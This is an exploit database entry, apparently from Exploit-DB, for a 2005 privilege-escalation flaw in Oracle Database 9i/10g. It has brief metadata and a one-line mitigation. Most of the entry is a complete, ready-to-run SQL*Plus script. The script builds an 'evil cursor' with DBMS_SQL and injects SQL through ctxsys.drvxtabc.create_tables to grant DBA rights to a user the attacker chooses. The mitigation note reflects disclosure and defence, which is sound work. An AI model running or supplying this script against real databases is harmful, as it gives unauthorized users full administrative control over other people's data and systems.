ctxsys.drvxtabc.create_tablesV2.sql exploit

vendor:

Oracle Database

by:

Andrea 'bunker' Purificato

7.5

CVSS

HIGH

Oracle ctxsys.drvxtabc.create_tables exploit

264

CWE

Product Name: Oracle Database

Affected Version From: Oracle 9i/10g

Affected Version To: Oracle 9i/10g

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2005

ctxsys.drvxtabc.create_tablesV2.sql exploit

This exploit grants DBA permission to an unprivileged user by using the Evil cursor technique. It uses the DBMS_SQL.OPEN_CURSOR and DBMS_SQL.PARSE functions to create an evil cursor and then uses the ctxsys.drvxtabc.create_tables function to execute the malicious code.

Mitigation:

Ensure that the ctxsys.drvxtabc.create_tables function is not used in any application code and that the DBMS_SQL.OPEN_CURSOR and DBMS_SQL.PARSE functions are used only in trusted code.

Source

Exploit-DB raw data:

-- 
-- ctxsys.drvxtabc.create_tablesV2.sql
--
--
-- Oracle ctxsys.drvxtabc.create_tables exploit (9i/10g)
-- Evil cursor technique
--
-- Grant dba permission to unprivileged user
-- 
-- 
-- REF: http://www.google.it/search?q=ctxsys.drvxtabc.create_tables
-- 
-- AUTHOR: Andrea "bunker" Purificato
-- http://rawlab.mindcreations.com
--
--
set serveroutput on;
prompt [+] ctxsys-drvxtabc-create_tablesV2.sql exploit
prompt [+] by Andrea "bunker" Purificato - http://rawlab.mindcreations.com
prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C BFA2
prompt 
undefine the_user;
accept the_user char prompt 'Target username (default TEST): ' default 'TEST';
prompt
prompt [-] Creating evil cursor...

DECLARE
MYC NUMBER;
BEGIN
MYC := DBMS_SQL.OPEN_CURSOR;
DBMS_SQL.PARSE(MYC,'declare pragma autonomous_transaction;begin execute immediate ''GRANT DBA TO &the_user'';commit;end;',0);
ctxsys.drvxtabc.create_tables(''||user||'"."x" as select * from dual where dbms_sql.execute('||MYC||')=0--','x',2);
END;
/

prompt [-] YOU GOT THE POWAH!!